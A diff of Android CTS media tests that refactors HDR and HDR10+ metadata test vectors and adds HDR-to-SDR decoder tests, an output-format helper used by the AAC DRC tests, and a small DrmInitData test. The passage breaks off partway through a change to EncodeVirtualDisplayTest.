+    // Mastering InfoFrame as defined by CTA-861.3.
+    // Media frameworks puts the display primaries in RGB order, here we verify the three
+    // primaries are indeed in this order and fail otherwise.
+    private static final String H265_HDR10_RES = "video_1280x720_hevc_hdr10_static_3mbps.mp4";
+    private static final String H265_HDR10_STATIC_INFO =
+            "00 d0 84 80 3e c2 33 c4  86 4c 1d b8 0b 13 3d 42" +
+            "40 e8 03 00 00 e8 03 90  01                     " ;
+
+    private static final String VP9_HDR10PLUS_RES = "video_bikes_hdr10plus.webm";
+    private static final String VP9_HDR10PLUS_STATIC_INFO =
+            "00 4c 1d b8 0b d0 84 80  3e c0 33 c4 86 12 3d 42" +
+            "40 e8 03 32 00 e8 03 c8  00                     " ;
+    // TODO: Use some manually extracted metadata for now.
+    // MediaExtractor currently doesn't have an API for extracting
+    // the dynamic metadata. Get the metadata from extractor when
+    // it's supported.
+    private static final String[] VP9_HDR10PLUS_DYNAMIC_INFO = new String[] {
+            "b5 00 3c 00 01 04 00 40  00 0c 80 4e 20 27 10 00" +
+            "0a 00 00 24 08 00 00 28  00 00 50 00 28 c8 00 c9" +
+            "90 02 aa 58 05 ca d0 0c  0a f8 16 83 18 9c 18 00" +
+            "40 78 13 64 d5 7c 2e 2c  c3 59 de 79 6e c3 c2 00" ,
+
+            "b5 00 3c 00 01 04 00 40  00 0c 80 4e 20 27 10 00" +
+            "0a 00 00 24 08 00 00 28  00 00 50 00 28 c8 00 c9" +
+            "90 02 aa 58 05 ca d0 0c  0a f8 16 83 18 9c 18 00" +
+            "40 78 13 64 d5 7c 2e 2c  c3 59 de 79 6e c3 c2 00" ,
+
+            "b5 00 3c 00 01 04 00 40  00 0c 80 4e 20 27 10 00" +
+            "0e 80 00 24 08 00 00 28  00 00 50 00 28 c8 00 c9" +
+            "90 02 aa 58 05 ca d0 0c  0a f8 16 83 18 9c 18 00" +
+            "40 78 13 64 d5 7c 2e 2c  c3 59 de 79 6e c3 c2 00" ,
+
+            "b5 00 3c 00 01 04 00 40  00 0c 80 4e 20 27 10 00" +
+            "0e 80 00 24 08 00 00 28  00 00 50 00 28 c8 00 c9" +
+            "90 02 aa 58 05 ca d0 0c  0a f8 16 83 18 9c 18 00" +
+            "40 78 13 64 d5 7c 2e 2c  c3 59 de 79 6e c3 c2 00" ,
+    };
+
+    private static final String H265_HDR10PLUS_RES = "video_h265_hdr10plus.mp4";
+    private static final String H265_HDR10PLUS_STATIC_INFO =
+            "00 4c 1d b8 0b d0 84 80  3e c2 33 c4 86 13 3d 42" +
+            "40 e8 03 32 00 e8 03 c8  00                     " ;
+    private static final String[] H265_HDR10PLUS_DYNAMIC_INFO = new String[] {
+            "b5 00 3c 00 01 04 00 40  00 0c 80 4e 20 27 10 00" +
+            "0f 00 00 24 08 00 00 28  00 00 50 00 28 c8 00 a1" +
+            "90 03 9a 58 0b 6a d0 23  2a f8 40 8b 18 9c 18 00" +
+            "40 78 13 64 cf 78 ed cc  bf 5a de f9 8e c7 c3 00" ,
+
+            "b5 00 3c 00 01 04 00 40  00 0c 80 4e 20 27 10 00" +
+            "0a 00 00 24 08 00 00 28  00 00 50 00 28 c8 00 a1" +
+            "90 03 9a 58 0b 6a d0 23  2a f8 40 8b 18 9c 18 00" +
+            "40 78 13 64 cf 78 ed cc  bf 5a de f9 8e c7 c3 00" ,
+
+            "b5 00 3c 00 01 04 00 40  00 0c 80 4e 20 27 10 00" +
+            "0f 00 00 24 08 00 00 28  00 00 50 00 28 c8 00 a1" +
+            "90 03 9a 58 0b 6a d0 23  2a f8 40 8b 18 9c 18 00" +
+            "40 78 13 64 cf 78 ed cc  bf 5a de f9 8e c7 c3 00" ,
+
+            "b5 00 3c 00 01 04 00 40  00 0c 80 4e 20 27 10 00" +
+            "0a 00 00 24 08 00 00 28  00 00 50 00 28 c8 00 a1" +
+            "90 03 9a 58 0b 6a d0 23  2a f8 40 8b 18 9c 18 00" +
+            "40 78 13 64 cf 78 ed cc  bf 5a de f9 8e c7 c3 00"
+    };
+
     @CddTest(requirement="5.3.7")
     public void testVp9HdrStaticMetadata() throws Exception {
-        final String staticInfo =
-                "00 d0 84 80 3e c2 33 c4  86 4c 1d b8 0b 13 3d 42" +
-                "40 e8 03 64 00 e8 03 2c  01                     " ;
-        testHdrStaticMetadata("video_1280x720_vp9_hdr_static_3mbps.mkv", staticInfo,
+        testHdrStaticMetadata(VP9_HDR_RES, VP9_HDR_STATIC_INFO,
                 true /*metadataInContainer*/);
     }
 
     @CddTest(requirement="5.3.9")
     public void testAV1HdrStaticMetadata() throws Exception {
-        final String staticInfo =
-                "00 d0 84 80 3e c2 33 c4  86 4c 1d b8 0b 13 3d 42" +
-                "40 e8 03 64 00 e8 03 2c  01                     " ;
-        testHdrStaticMetadata("video_1280x720_av1_hdr_static_3mbps.webm", staticInfo,
+        testHdrStaticMetadata(AV1_HDR_RES, AV1_HDR_STATIC_INFO,
                 false /*metadataInContainer*/);
     }
 
     @CddTest(requirement="5.3.5")
     public void testH265HDR10StaticMetadata() throws Exception {
-        // Expected value of MediaFormat.KEY_HDR_STATIC_INFO key.
-        // The associated value is a ByteBuffer. This buffer contains the raw contents of the
-        // Static Metadata Descriptor (including the descriptor ID) of an HDMI Dynamic Range and
-        // Mastering InfoFrame as defined by CTA-861.3.
-        // Media frameworks puts the display primaries in RGB order, here we verify the three
-        // primaries are indeed in this order and fail otherwise.
-        final String staticInfo =
-                "00 d0 84 80 3e c2 33 c4  86 4c 1d b8 0b 13 3d 42" +
-                "40 e8 03 00 00 e8 03 90  01                     " ;
-        testHdrStaticMetadata("video_1280x720_hevc_hdr10_static_3mbps.mp4", staticInfo,
+        testHdrStaticMetadata(H265_HDR10_RES, H265_HDR10_STATIC_INFO,
                 false /*metadataInContainer*/);
     }
 
     @CddTest(requirement="5.3.7")
     public void testVp9Hdr10PlusMetadata() throws Exception {
-        final String staticInfo =
-                "00 4c 1d b8 0b d0 84 80  3e c0 33 c4 86 12 3d 42" +
-                "40 e8 03 32 00 e8 03 c8  00                     " ;
-
-        // TODO: Use some manually extracted metadata for now.
-        // MediaExtractor currently doesn't have an API for extracting
-        // the dynamic metadata. Get the metadata from extractor when
-        // it's supported.
-        final String[] dynamicInfo = {
-                "b5 00 3c 00 01 04 00 40  00 0c 80 4e 20 27 10 00" +
-                "0a 00 00 24 08 00 00 28  00 00 50 00 28 c8 00 c9" +
-                "90 02 aa 58 05 ca d0 0c  0a f8 16 83 18 9c 18 00" +
-                "40 78 13 64 d5 7c 2e 2c  c3 59 de 79 6e c3 c2 00" ,
-
-                "b5 00 3c 00 01 04 00 40  00 0c 80 4e 20 27 10 00" +
-                "0a 00 00 24 08 00 00 28  00 00 50 00 28 c8 00 c9" +
-                "90 02 aa 58 05 ca d0 0c  0a f8 16 83 18 9c 18 00" +
-                "40 78 13 64 d5 7c 2e 2c  c3 59 de 79 6e c3 c2 00" ,
-
-                "b5 00 3c 00 01 04 00 40  00 0c 80 4e 20 27 10 00" +
-                "0e 80 00 24 08 00 00 28  00 00 50 00 28 c8 00 c9" +
-                "90 02 aa 58 05 ca d0 0c  0a f8 16 83 18 9c 18 00" +
-                "40 78 13 64 d5 7c 2e 2c  c3 59 de 79 6e c3 c2 00" ,
-
-                "b5 00 3c 00 01 04 00 40  00 0c 80 4e 20 27 10 00" +
-                "0e 80 00 24 08 00 00 28  00 00 50 00 28 c8 00 c9" +
-                "90 02 aa 58 05 ca d0 0c  0a f8 16 83 18 9c 18 00" +
-                "40 78 13 64 d5 7c 2e 2c  c3 59 de 79 6e c3 c2 00" ,
-        };
-        testHdrMetadata("video_bikes_hdr10plus.webm",
-                staticInfo, dynamicInfo, true /*metadataInContainer*/);
+        testHdrMetadata(VP9_HDR10PLUS_RES, VP9_HDR10PLUS_STATIC_INFO,
+                VP9_HDR10PLUS_DYNAMIC_INFO, true /*metadataInContainer*/);
     }
 
     @CddTest(requirement="5.3.5")
     public void testH265Hdr10PlusMetadata() throws Exception {
-        final String staticInfo =
-                "00 4c 1d b8 0b d0 84 80  3e c2 33 c4 86 13 3d 42" +
-                "40 e8 03 32 00 e8 03 c8  00                     " ;
-
-        final String[] dynamicInfo = {
-                "b5 00 3c 00 01 04 00 40  00 0c 80 4e 20 27 10 00" +
-                "0f 00 00 24 08 00 00 28  00 00 50 00 28 c8 00 a1" +
-                "90 03 9a 58 0b 6a d0 23  2a f8 40 8b 18 9c 18 00" +
-                "40 78 13 64 cf 78 ed cc  bf 5a de f9 8e c7 c3 00" ,
-
-                "b5 00 3c 00 01 04 00 40  00 0c 80 4e 20 27 10 00" +
-                "0a 00 00 24 08 00 00 28  00 00 50 00 28 c8 00 a1" +
-                "90 03 9a 58 0b 6a d0 23  2a f8 40 8b 18 9c 18 00" +
-                "40 78 13 64 cf 78 ed cc  bf 5a de f9 8e c7 c3 00" ,
-
-                "b5 00 3c 00 01 04 00 40  00 0c 80 4e 20 27 10 00" +
-                "0f 00 00 24 08 00 00 28  00 00 50 00 28 c8 00 a1" +
-                "90 03 9a 58 0b 6a d0 23  2a f8 40 8b 18 9c 18 00" +
-                "40 78 13 64 cf 78 ed cc  bf 5a de f9 8e c7 c3 00" ,
-
-                "b5 00 3c 00 01 04 00 40  00 0c 80 4e 20 27 10 00" +
-                "0a 00 00 24 08 00 00 28  00 00 50 00 28 c8 00 a1" +
-                "90 03 9a 58 0b 6a d0 23  2a f8 40 8b 18 9c 18 00" +
-                "40 78 13 64 cf 78 ed cc  bf 5a de f9 8e c7 c3 00"
-        };
-        testHdrMetadata("video_h265_hdr10plus.mp4",
-                staticInfo, dynamicInfo, false /*metadataInContainer*/);
+        testHdrMetadata(H265_HDR10PLUS_RES, H265_HDR10PLUS_STATIC_INFO,
+                H265_HDR10PLUS_DYNAMIC_INFO, false /*metadataInContainer*/);
     }
 
     private void testHdrStaticMetadata(final String res, String staticInfo,
@@ -1188,6 +1199,240 @@
         return Arrays.copyOfRange(tempArray, 0, i);
     }
 
+    public void testVp9HdrToSdr() throws Exception {
+        testHdrToSdr(VP9_HDR_RES, null /* dynamicInfo */,
+                true /*metadataInContainer*/);
+    }
+
+    public void testAV1HdrToSdr() throws Exception {
+        testHdrToSdr(AV1_HDR_RES, null /* dynamicInfo */,
+                false /*metadataInContainer*/);
+    }
+
+    public void testH265HDR10ToSdr() throws Exception {
+        testHdrToSdr(H265_HDR10_RES, null /* dynamicInfo */,
+                false /*metadataInContainer*/);
+    }
+
+    public void testVp9Hdr10PlusToSdr() throws Exception {
+        testHdrToSdr(VP9_HDR10PLUS_RES, VP9_HDR10PLUS_DYNAMIC_INFO,
+                true /*metadataInContainer*/);
+    }
+
+    public void testH265Hdr10PlusToSdr() throws Exception {
+        testHdrToSdr(H265_HDR10PLUS_RES, H265_HDR10PLUS_DYNAMIC_INFO,
+                false /*metadataInContainer*/);
+    }
+
+    private static boolean DEBUG_HDR_TO_SDR_PLAY_VIDEO = false;
+    private static final String INVALID_HDR_STATIC_INFO =
+            "00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00" +
+            "00 00 00 00 00 00 00 00  00                     " ;
+
+    private void testHdrToSdr(final String res,
+            String[] dynamicInfo, boolean metadataInContainer)
+            throws Exception {
+        AssetFileDescriptor infd = null;
+        MediaExtractor extractor = null;
+        MediaCodec decoder = null;
+        HandlerThread handlerThread = new HandlerThread("MediaCodec callback thread");
+        handlerThread.start();
+        final boolean dynamic = dynamicInfo != null;
+
+        try {
+            extractor = new MediaExtractor();
+            extractor.setDataSource(mInpPrefix + res);
+
+            MediaFormat format = null;
+            int trackIndex = -1;
+            for (int i = 0; i < extractor.getTrackCount(); i++) {
+                format = extractor.getTrackFormat(i);
+                if (format.getString(MediaFormat.KEY_MIME).startsWith("video/")) {
+                    trackIndex = i;
+                    break;
+                }
+            }
+
+            extractor.selectTrack(trackIndex);
+            Log.v(TAG, "format " + format);
+
+            String mime = format.getString(MediaFormat.KEY_MIME);
+            // setting profile and level
+            if (MediaFormat.MIMETYPE_VIDEO_HEVC.equals(mime)) {
+                if (!dynamic) {
+                    assertEquals("Extractor set wrong profile",
+                        MediaCodecInfo.CodecProfileLevel.HEVCProfileMain10HDR10,
+                        format.getInteger(MediaFormat.KEY_PROFILE));
+                } else {
+                    // Extractor currently doesn't detect HDR10+, set to HDR10+ manually
+                    format.setInteger(MediaFormat.KEY_PROFILE,
+                            MediaCodecInfo.CodecProfileLevel.HEVCProfileMain10HDR10Plus);
+                }
+            } else if (MediaFormat.MIMETYPE_VIDEO_VP9.equals(mime)) {
+                // The muxer might not have put VP9 CSD in the mkv, we manually patch
+                // it here so that we only test HDR when decoder supports it.
+                format.setInteger(MediaFormat.KEY_PROFILE,
+                        dynamic ? MediaCodecInfo.CodecProfileLevel.VP9Profile2HDR10Plus
+                                : MediaCodecInfo.CodecProfileLevel.VP9Profile2HDR);
+            } else if (MediaFormat.MIMETYPE_VIDEO_AV1.equals(mime)) {
+                // The muxer might not have put AV1 CSD in the webm, we manually patch
+                // it here so that we only test HDR when decoder supports it.
+                format.setInteger(MediaFormat.KEY_PROFILE,
+                        MediaCodecInfo.CodecProfileLevel.AV1ProfileMain10HDR10);
+            } else {
+                fail("Codec " + mime + " shouldn't be tested with this test!");
+            }
+            format.setInteger(
+                    MediaFormat.KEY_COLOR_TRANSFER_REQUEST, MediaFormat.COLOR_TRANSFER_SDR_VIDEO);
+            String[] decoderNames = MediaUtils.getDecoderNames(format);
+
+            if (decoderNames == null || decoderNames.length == 0) {
+                MediaUtils.skipTest("No video codecs supports HDR");
+                return;
+            }
+
+            final Surface surface = getActivity().getSurfaceHolder().getSurface();
+            final MediaExtractor finalExtractor = extractor;
+
+            for (String name : decoderNames) {
+                Log.d(TAG, "Testing candicate decoder " + name);
+                CountDownLatch latch = new CountDownLatch(1);
+                extractor.seekTo(0, MediaExtractor.SEEK_TO_PREVIOUS_SYNC);
+
+                decoder = MediaCodec.createByCodecName(name);
+                decoder.setCallback(new MediaCodec.Callback() {
+                    boolean mInputEOS;
+                    boolean mOutputReceived;
+                    int mInputCount;
+                    int mOutputCount;
+
+                    @Override
+                    public void onOutputBufferAvailable(
+                            MediaCodec codec, int index, BufferInfo info) {
+                        if (mOutputReceived && !DEBUG_HDR_TO_SDR_PLAY_VIDEO) {
+                            return;
+                        }
+
+                        MediaFormat bufferFormat = codec.getOutputFormat(index);
+                        Log.i(TAG, "got output buffer: format " + bufferFormat);
+
+                        assertEquals("unexpected color transfer for the buffer",
+                                MediaFormat.COLOR_TRANSFER_SDR_VIDEO,
+                                bufferFormat.getInteger(MediaFormat.KEY_COLOR_TRANSFER, 0));
+                        ByteBuffer staticInfo = bufferFormat.getByteBuffer(
+                                MediaFormat.KEY_HDR_STATIC_INFO, null);
+                        if (staticInfo != null) {
+                            assertTrue(
+                                    "Buffer should not have a valid static HDR metadata present",
+                                    Arrays.equals(loadByteArrayFromString(INVALID_HDR_STATIC_INFO),
+                                                  staticInfo.array()));
+                        }
+                        assertFalse("Buffer should not have dynamic HDR metadata present",
+                                bufferFormat.containsKey(MediaFormat.KEY_HDR10_PLUS_INFO));
+
+                        if (!dynamic) {
+                            codec.releaseOutputBuffer(index,  true);
+
+                            mOutputReceived = true;
+                            latch.countDown();
+                        } else {
+                            codec.releaseOutputBuffer(index,  true);
+
+                            mOutputCount++;
+                            if (mOutputCount >= dynamicInfo.length) {
+                                mOutputReceived = true;
+                                latch.countDown();
+                            }
+                        }
+                    }
+
+                    @Override
+                    public void onInputBufferAvailable(MediaCodec codec, int index) {
+                        // keep queuing until input EOS, or first output buffer received.
+                        if (mInputEOS || (mOutputReceived && !DEBUG_HDR_TO_SDR_PLAY_VIDEO)) {
+                            return;
+                        }
+
+                        ByteBuffer inputBuffer = codec.getInputBuffer(index);
+
+                        if (finalExtractor.getSampleTrackIndex() == -1) {
+                            codec.queueInputBuffer(
+                                    index, 0, 0, 0, MediaCodec.BUFFER_FLAG_END_OF_STREAM);
+                            mInputEOS = true;
+                        } else {
+                            int size = finalExtractor.readSampleData(inputBuffer, 0);
+                            long timestamp = finalExtractor.getSampleTime();
+                            finalExtractor.advance();
+
+                            if (dynamic && metadataInContainer) {
+                                final Bundle params = new Bundle();
+                                // TODO: extractor currently doesn't extract the dynamic metadata.
+                                // Send in the test pattern for now to test the metadata propagation.
+                                byte[] info = loadByteArrayFromString(dynamicInfo[mInputCount]);
+                                params.putByteArray(MediaFormat.KEY_HDR10_PLUS_INFO, info);
+                                codec.setParameters(params);
+                                mInputCount++;
+                                if (mInputCount >= dynamicInfo.length) {
+                                    mInputEOS = true;
+                                }
+                            }
+                            codec.queueInputBuffer(index, 0, size, timestamp, 0);
+                        }
+                    }
+
+                    @Override
+                    public void onError(MediaCodec codec, MediaCodec.CodecException e) {
+                        Log.e(TAG, "got codec exception", e);
+                    }
+
+                    @Override
+                    public void onOutputFormatChanged(MediaCodec codec, MediaFormat format) {
+                        Log.i(TAG, "got output format: " + format);
+                        ByteBuffer staticInfo = format.getByteBuffer(
+                                MediaFormat.KEY_HDR_STATIC_INFO, null);
+                        if (staticInfo != null) {
+                            assertTrue(
+                                    "output format should not have a valid " +
+                                    "static HDR metadata present",
+                                    Arrays.equals(loadByteArrayFromString(INVALID_HDR_STATIC_INFO),
+                                                  staticInfo.array()));
+                        }
+                    }
+                }, new Handler(handlerThread.getLooper()));
+                decoder.configure(format, surface, null/*crypto*/, 0/*flags*/);
+                int transferRequest = decoder.getInputFormat().getInteger(
+                        MediaFormat.KEY_COLOR_TRANSFER_REQUEST, 0);
+                if (transferRequest == 0) {
+                    Log.i(TAG, name + " does not support HDR to SDR tone mapping");
+                    decoder.release();
+                    continue;
+                }
+                assertEquals("unexpected color transfer request value from input format",
+                        MediaFormat.COLOR_TRANSFER_SDR_VIDEO, transferRequest);
+                decoder.start();
+                try {
+                    assertTrue(latch.await(2000, TimeUnit.MILLISECONDS));
+                } catch (InterruptedException e) {
+                    fail("playback interrupted");
+                }
+                if (DEBUG_HDR_TO_SDR_PLAY_VIDEO) {
+                    Thread.sleep(5000);
+                }
+                decoder.stop();
+                decoder.release();
+            }
+        } finally {
+            if (decoder != null) {
+                decoder.release();
+            }
+            if (extractor != null) {
+                extractor.release();
+            }
+            handlerThread.getLooper().quit();
+            handlerThread.join();
+        }
+    }
+
     public void testDecodeFragmented() throws Exception {
         testDecodeFragmented("video_480x360_mp4_h264_1350kbps_30fps_aac_stereo_128kbps_44100hz.mp4",
                 "video_480x360_mp4_h264_1350kbps_30fps_aac_stereo_128kbps_44100hz_fragmented.mp4");
@@ -1778,6 +2023,32 @@
         }
     }
 
+    protected static int getOutputFormatInteger(MediaCodec codec, String key) {
+        if (codec == null) {
+            fail("Null MediaCodec before attempting to retrieve output format key " + key);
+        }
+        MediaFormat format = null;
+        try {
+            format = codec.getOutputFormat();
+        } catch (Exception e) {
+            fail("Exception " + e + " when attempting to obtain output format");
+        }
+        if (format == null) {
+            fail("Null output format returned from MediaCodec");
+        }
+        try {
+            return format.getInteger(key);
+        } catch (NullPointerException e) {
+            fail("Key " + key + " not present in output format");
+        } catch (ClassCastException e) {
+            fail("Key " + key + " not stored as integer in output format");
+        } catch (Exception e) {
+            fail("Exception " + e + " when attempting to retrieve output format key " + key);
+        }
+        // never used
+        return Integer.MIN_VALUE;
+    }
+
     // Class handling all audio parameters relevant for testing
     protected static class AudioParameter {
 
diff --git a/tests/tests/media/src/android/media/cts/DecoderTestAacDrc.java b/tests/tests/media/src/android/media/cts/DecoderTestAacDrc.java
index 3af1400..e33505a 100755
--- a/tests/tests/media/src/android/media/cts/DecoderTestAacDrc.java
+++ b/tests/tests/media/src/android/media/cts/DecoderTestAacDrc.java
@@ -586,8 +586,8 @@
             if(!runtimeChange) {
                 // check if MediaCodec gives back correct drc parameters
                 if (drcParams.mDecoderTargetLevel != 0) {
-                    final int targetLevelFromCodec = codec.getOutputFormat()
-                            .getInteger(MediaFormat.KEY_AAC_DRC_TARGET_REFERENCE_LEVEL);
+                    final int targetLevelFromCodec = DecoderTest.getOutputFormatInteger(codec,
+                            MediaFormat.KEY_AAC_DRC_TARGET_REFERENCE_LEVEL);
                     if (targetLevelFromCodec != drcParams.mDecoderTargetLevel) {
                         fail("DRC Target Ref Level received from MediaCodec is not the level set");
                     }
@@ -709,19 +709,18 @@
         // check if MediaCodec gives back correct drc parameters (R and above)
         if (drcParams != null && sIsAndroidRAndAbove) {
             if (drcParams.mDecoderTargetLevel != 0) {
-                final int targetLevelFromCodec = codec.getOutputFormat()
-                        .getInteger(MediaFormat.KEY_AAC_DRC_TARGET_REFERENCE_LEVEL);
+                final int targetLevelFromCodec = DecoderTest.getOutputFormatInteger(codec,
+                        MediaFormat.KEY_AAC_DRC_TARGET_REFERENCE_LEVEL);
                 if (targetLevelFromCodec != drcParams.mDecoderTargetLevel) {
                     fail("DRC Target Ref Level received from MediaCodec is not the level set");
                 }
             }
 
-            final MediaFormat outputFormat = codec.getOutputFormat();
-            final int cutFromCodec = outputFormat.getInteger(
+            final int cutFromCodec = DecoderTest.getOutputFormatInteger(codec,
                     MediaFormat.KEY_AAC_DRC_ATTENUATION_FACTOR);
             assertEquals("Attenuation factor received from MediaCodec differs from set:",
                     drcParams.mCut, cutFromCodec);
-            final int boostFromCodec = outputFormat.getInteger(
+            final int boostFromCodec = DecoderTest.getOutputFormatInteger(codec,
                     MediaFormat.KEY_AAC_DRC_BOOST_FACTOR);
             assertEquals("Boost factor received from MediaCodec differs from set:",
                     drcParams.mBoost, boostFromCodec);
@@ -729,8 +728,8 @@
 
         // expectedOutputLoudness == -2 indicates that output loudness is not tested
         if (expectedOutputLoudness != -2 && sIsAndroidRAndAbove) {
-            final int outputLoudnessFromCodec = codec.getOutputFormat()
-                    .getInteger(MediaFormat.KEY_AAC_DRC_OUTPUT_LOUDNESS);
+            final int outputLoudnessFromCodec = DecoderTest.getOutputFormatInteger(codec,
+                    MediaFormat.KEY_AAC_DRC_OUTPUT_LOUDNESS);
             if (outputLoudnessFromCodec != expectedOutputLoudness) {
                 fail("Received decoder output loudness is not the expected value");
             }
diff --git a/tests/tests/media/src/android/media/cts/DecoderTestXheAac.java b/tests/tests/media/src/android/media/cts/DecoderTestXheAac.java
index 13b7928..83bb53f 100755
--- a/tests/tests/media/src/android/media/cts/DecoderTestXheAac.java
+++ b/tests/tests/media/src/android/media/cts/DecoderTestXheAac.java
@@ -1287,22 +1287,22 @@
         if (drcParams != null && sIsAndroidRAndAbove) { // querying output format requires R
             if(!runtimeChange) {
                 if (drcParams.mAlbumMode != 0) {
-                    int albumModeFromCodec = codec.getOutputFormat()
-                            .getInteger(MediaFormat.KEY_AAC_DRC_ALBUM_MODE);
+                    int albumModeFromCodec = DecoderTest.getOutputFormatInteger(codec,
+                            MediaFormat.KEY_AAC_DRC_ALBUM_MODE);
                     if (albumModeFromCodec != drcParams.mAlbumMode) {
                         fail("Drc AlbumMode received from MediaCodec is not the Album Mode set");
                     }
                 }
                 if (drcParams.mEffectType != 0) {
-                    final int effectTypeFromCodec = codec.getOutputFormat()
-                            .getInteger(MediaFormat.KEY_AAC_DRC_EFFECT_TYPE);
+                    final int effectTypeFromCodec = DecoderTest.getOutputFormatInteger(codec,
+                            MediaFormat.KEY_AAC_DRC_EFFECT_TYPE);
                     if (effectTypeFromCodec != drcParams.mEffectType) {
                         fail("Drc Effect Type received from MediaCodec is not the Effect Type set");
                     }
                 }
                 if (drcParams.mDecoderTargetLevel != 0) {
-                    final int targetLevelFromCodec = codec.getOutputFormat()
-                            .getInteger(MediaFormat.KEY_AAC_DRC_TARGET_REFERENCE_LEVEL);
+                    final int targetLevelFromCodec = DecoderTest.getOutputFormatInteger(codec,
+                            MediaFormat.KEY_AAC_DRC_TARGET_REFERENCE_LEVEL);
                     if (targetLevelFromCodec != drcParams.mDecoderTargetLevel) {
                         fail("Drc Target Reference Level received from MediaCodec is not the Target Reference Level set");
                     }
@@ -1443,31 +1443,30 @@
         // check if MediaCodec gives back correct drc parameters
         if (drcParams != null && sIsAndroidRAndAbove) {
             if (drcParams.mAlbumMode != 0) {
-                final int albumModeFromCodec = codec.getOutputFormat()
-                        .getInteger(MediaFormat.KEY_AAC_DRC_ALBUM_MODE);
+                final int albumModeFromCodec = DecoderTest.getOutputFormatInteger(codec,
+                        MediaFormat.KEY_AAC_DRC_ALBUM_MODE);
                 assertEquals("DRC AlbumMode received from MediaCodec is not the Album Mode set"
                         + " runtime:" + runtimeChange, drcParams.mAlbumMode, albumModeFromCodec);
             }
             if (drcParams.mEffectType != 0) {
-                final int effectTypeFromCodec = codec.getOutputFormat()
-                        .getInteger(MediaFormat.KEY_AAC_DRC_EFFECT_TYPE);
+                final int effectTypeFromCodec = DecoderTest.getOutputFormatInteger(codec,
+                        MediaFormat.KEY_AAC_DRC_EFFECT_TYPE);
                 assertEquals("DRC Effect Type received from MediaCodec is not the Effect Type set"
                         + " runtime:" + runtimeChange, drcParams.mEffectType, effectTypeFromCodec);
             }
             if (drcParams.mDecoderTargetLevel != 0) {
-                final int targetLevelFromCodec = codec.getOutputFormat()
-                        .getInteger(MediaFormat.KEY_AAC_DRC_TARGET_REFERENCE_LEVEL);
+                final int targetLevelFromCodec = DecoderTest.getOutputFormatInteger(codec,
+                        MediaFormat.KEY_AAC_DRC_TARGET_REFERENCE_LEVEL);
                 assertEquals("DRC Target Ref Level received from MediaCodec is not the level set"
                         + " runtime:" + runtimeChange,
                         drcParams.mDecoderTargetLevel, targetLevelFromCodec);
             }
 
-            final MediaFormat outputFormat = codec.getOutputFormat();
-            final int cutFromCodec = outputFormat.getInteger(
+            final int cutFromCodec = DecoderTest.getOutputFormatInteger(codec,
                     MediaFormat.KEY_AAC_DRC_ATTENUATION_FACTOR);
             assertEquals("Attenuation factor received from MediaCodec differs from set:",
                     drcParams.mCut, cutFromCodec);
-            final int boostFromCodec = outputFormat.getInteger(
+            final int boostFromCodec = DecoderTest.getOutputFormatInteger(codec,
                     MediaFormat.KEY_AAC_DRC_BOOST_FACTOR);
             assertEquals("Boost factor received from MediaCodec differs from set:",
                     drcParams.mBoost, boostFromCodec);
@@ -1475,8 +1474,8 @@
 
         // expectedOutputLoudness == -2 indicates that output loudness is not tested
         if (expectedOutputLoudness != -2 && sIsAndroidRAndAbove) {
-            final int outputLoudnessFromCodec = codec.getOutputFormat()
-                    .getInteger(MediaFormat.KEY_AAC_DRC_OUTPUT_LOUDNESS);
+            final int outputLoudnessFromCodec = DecoderTest.getOutputFormatInteger(codec,
+                    MediaFormat.KEY_AAC_DRC_OUTPUT_LOUDNESS);
             if (outputLoudnessFromCodec != expectedOutputLoudness) {
                 fail("Received decoder output loudness is not the expected value");
             }
diff --git a/tests/tests/media/src/android/media/cts/DrmInitDataTest.java b/tests/tests/media/src/android/media/cts/DrmInitDataTest.java
new file mode 100644
index 0000000..ee2fa86
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/DrmInitDataTest.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import android.media.DrmInitData;
+import android.test.AndroidTestCase;
+
+import java.util.UUID;
+
+public class DrmInitDataTest extends AndroidTestCase {
+
+    public void testSchemeInitDataConstructor() {
+        UUID uuid = new UUID(1, 1);
+        String mimeType = "mime/type";
+        byte[] data = new byte[0];
+        DrmInitData.SchemeInitData schemeInitData =
+                new DrmInitData.SchemeInitData(uuid, mimeType, data);
+        assertSame(uuid, schemeInitData.uuid);
+        assertSame(mimeType, schemeInitData.mimeType);
+        assertSame(data, schemeInitData.data);
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayTest.java b/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayTest.java
index a7672f0..9918545 100755
--- a/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayTest.java
+++ b/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayTest.java
@@ -48,6 +48,7 @@
 import java.nio.ByteBuffer;
 import java.util.ArrayList;
 import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
 
 /**
  * Tests connecting a virtual display to the input of a MediaCodec encoder.
@@ -519,7 +520,6 @@
      */
     private class ColorSlideShow extends Thread {
         private Display mDisplay;
-        private ArrayList<TestPresentation> mPresentations = new ArrayList<>();
 
         public ColorSlideShow(Display display) {
             mDisplay = display;
@@ -527,48 +527,39 @@
 
         @Override
         public void run() {
-            for (int i = 0; i < TEST_COLORS.length; i++) {
-                showPresentation(TEST_COLORS[i]);
+            for (int testColor : TEST_COLORS) {
+                showPresentation(testColor);
             }
 
             if (VERBOSE) Log.d(TAG, "slide show finished");
             mInputDone = true;
-            runOnUiThread(new Runnable() {
-                @Override
-                public void run() {
-                    for (TestPresentation presentation : mPresentations) {
-                        presentation.dismiss();
-                    }
-                }
-            });
         }
 
         private void showPresentation(final int color) {
             final TestPresentation[] presentation = new TestPresentation[1];
+            final CountDownLatch latch = new CountDownLatch(1);
             try {
-                final CountDownLatch latch = new CountDownLatch(1);
-                runOnUiThread(new Runnable() {
-                    @Override
-                    public void run() {
-                        // Want to create presentation on UI thread so it finds the right Looper
-                        // when setting up the Dialog.
-                        presentation[0] = new TestPresentation(getContext(), mDisplay, color);
